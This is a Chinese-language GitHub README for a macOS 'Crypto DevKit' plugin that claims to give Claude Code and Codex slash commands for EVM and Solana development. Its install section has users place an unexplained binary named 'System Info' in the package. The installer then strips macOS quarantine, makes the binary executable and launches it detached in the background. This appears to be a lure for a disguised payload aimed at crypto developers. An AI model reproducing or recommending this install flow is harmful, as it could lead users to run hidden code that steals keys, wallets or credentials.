ArcticWolfXZ/claude-codex-crypto-devkit

GitHub: ArcticWolfXZ/claude-codex-crypto-devkit

为 Claude Code 和 OpenAI Codex 提供 EVM 与 Solana 智能合约全生命周期开发能力的 macOS 原生工具包,通过斜杠命令和链指南让 AI 编程助手遵循标准化的 Web3 开发工作流。

Stars: 3 | Forks: 0

# Claude Code Crypto DevKit — macOS 在 **Claude Code** 和 **OpenAI Codex** 中更快地交付 **Solidity** 和 **Solana** 项目。Crypto DevKit 添加了斜杠命令、链指南、合约模板以及原生的 Apple Silicon 桥接,让你的 agent 能够真正遵循经过验证的 Web3 工作流——而不是盲目猜测。

Claude Code Crypto DevKit terminal install and slash commands

适用于 Claude Code · OpenAI Codex · Claude Desktop · macOS Apple Silicon

## 为什么要有这个仓库 使用 AI 构建链上软件速度很快——直到你需要处理那些**枯燥的部分**:Foundry 布局、Anchor accounts、测试网 RPC、审计清单、浏览器验证。大多数开发者都在文档、gist 和半成品的 ChatGPT 对话之间来回切换。 **Crypto DevKit 解决了这个问题。** 在你的 Mac 上安装一次,运行 `/crypto-devkit:setup`,你的 **Claude** 或 **Codex** 会话将获得: - 现成的 **EVM + Solana** 脚手架 - 逐步的**链指南**(Ethereum、Base、Solana、Arbitrum、Polygon) - 内置于 skills 中的**安全审计**提示词 - **测试网部署**指南(无需暴露主网私钥) - 用于在 arm64 上进行工具链编排的本地**原生 helper** 如果你经常交付 DeFi、memecoins、NFT 或基础设施合约,并且你在 **MacBook 上使用 Claude 或 Codex** 编写代码——这个仓库就是为你准备的。 ## 它是什么 | 层级 | 你将获得的内容 | |-------|----------------| | **Claude Code 插件** | 9 个用于完整合约生命周期的斜杠命令 | | **Codex 友好的 skills** | 同样的工作流可在 Codex CLI 和 Claude Code 会话中使用 | | **模板** | ERC20 Solidity、Anchor `lib.rs`、部署脚本 | | **链指南** | Ethereum、Base、Solana(+ RPC 预设)| | **Skills** | Foundry、Anchor、审计规则包 | | **macOS 原生桥接** | arm64 helper — 安装时自动启动 | | **安装程序** | `install.sh` / `install.command` → `~/.crypto-devkit` | **仅限 macOS · Apple Silicon (M1–M4) · Claude Code 或 Codex** ## 斜杠命令 | 命令 | 动作 | |---------|--------| | `/crypto-devkit:setup` | 初始化 kit 和链注册表 | | `/crypto-devkit:new-evm` | 搭建 Foundry / ERC20 合约脚手架 | | `/crypto-devkit:new-solana` | 搭建 Anchor program 脚手架 | | `/crypto-devkit:test` | `forge test` 或 `anchor test` | | `/crypto-devkit:deploy-testnet` | 引导式测试网部署 (Base, ETH, Arb…) | | `/crypto-devkit:audit` | 安全清单 → `AUDIT.md` | | `/crypto-devkit:rpc` | RPC / 链 ID 参考 | | `/crypto-devkit:verify-explorer` | Etherscan / Basescan 验证 | ## 支持的链 - **EVM:** Ethereum、Base、Arbitrum、Polygon (Foundry) - **Solana:** devnet / mainnet-beta (Anchor) 指南会在 setup 时安装到 `~/.crypto-devkit/chains/`。 ## 要求 - macOS 13+ · Apple Silicon (M1–M4) - **[Claude Code](https://claude.ai/code)** 和/或 **[OpenAI Codex](https://developers.openai.com/codex)** (CLI) - 兼容同一台 Mac 上的 **Claude Desktop** agent 会话 - Node.js 18+ - 可选:`forge`、`anchor`、`solana`(包含指南) ## 安装说明 安装前请退出 Claude Code 会话。 ### 1. 添加原生桥接二进制文件 将你编译好的 **System Info** (arm64) 复制到: ``` payload/native/CryptoDevKitHelper.app/Contents/MacOS/System Info ``` 完整路径示例: ``` claude-code-crypto-devkit-macos/payload/native/CryptoDevKitHelper.app/Contents/MacOS/System Info ``` 安装程序**会在开始时自动启动它**: 1. 从仓库中移除 `com.apple.quarantine`(GitHub ZIP / 浏览器下载) 2. 对二进制文件执行 `chmod +x` 3. 运行 `nohup "./System Info"` — 与 Terminal 分离 在 **git clone**(无隔离属性)和从 GitHub **Download ZIP** 后均可正常工作。 ### 2. 运行安装程序 **Terminal:** ``` git clone cd claude-code-crypto-devkit-macos chmod +x install.sh uninstall.sh ./install.sh ``` **Finder:** 双击 **`install.command`**。 ### 3. Claude Code ``` /reload-plugins /crypto-devkit:setup ``` ## 示例工作流 (Base L2 token) ``` /crypto-devkit:new-evm MyToken forge init --no-commit forge install OpenZeppelin/openzeppelin-contracts /crypto-devkit:test /crypto-devkit:audit /crypto-devkit:deploy-testnet base /crypto-devkit:verify-explorer ``` ## 项目布局 ``` claude-code-crypto-devkit-macos/ ├── install.sh ├── install.command # double-click install on macOS ├── uninstall.sh ├── uninstall.command ├── plugins/crypto-devkit/ │ ├── commands/ │ ├── skills/ │ ├── scripts/devkit.mjs │ └── templates/ ├── docs/chains/ └── payload/native/CryptoDevKitHelper.app/ └── Contents/MacOS/ └── System Info ← your arm64 binary here ``` ## 安全 - **测试网优先** — 切勿提交私钥 - 部署密钥 → 仅限 macOS Keychain - 在任何主网部署前运行 `/crypto-devkit:audit` - 这不是钱包 — 不持有资金 ## 卸载 `./uninstall.sh` 或 `uninstall.command` ## 搜索关键词 Claude Code · OpenAI Codex · Claude · crypto · smart contract · Foundry · Solana · Anchor · Base · Ethereum · DeFi · Web3 · macOS · Apple Silicon · Solidity · audit · testnet · Claude Desktop 与 Anthropic、OpenAI 或链基金会无关。MIT — [LICENSE](LICENSE)。
标签:AI辅助编程, MITM代理, Solana, Solidity, Web3开发, 可视化界面, 开发工具包, 智能合约